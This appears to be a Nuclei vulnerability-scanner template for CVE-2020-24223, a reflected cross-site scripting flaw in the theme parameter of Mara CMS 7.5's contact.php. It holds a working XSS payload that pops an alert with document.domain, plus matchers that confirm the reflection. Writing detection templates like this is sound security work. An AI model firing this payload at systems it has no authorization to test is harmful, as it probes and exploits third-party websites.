nuclei-templates/cves/2020/CVE-2020-24223.yaml

31 lines
943 B
YAML

id: CVE-2020-24223
info:
name: Mara CMS 7.5 - Reflective Cross-Site Scripting
author: pikpikcu
severity: medium
description: Mara CMS 7.5 allows cross-site scripting (XSS) in contact.php via the theme or pagetheme parameters.
reference: https://www.exploit-db.com/exploits/48777
tags: cve,cve2020,mara,xss
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Source: https://www.exploit-db.com/exploits/48777
requests:
- method: GET
path:
- '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"><script>alert(document.domain)</script>'
part: body
- type: word
words:
- "text/html"
part: header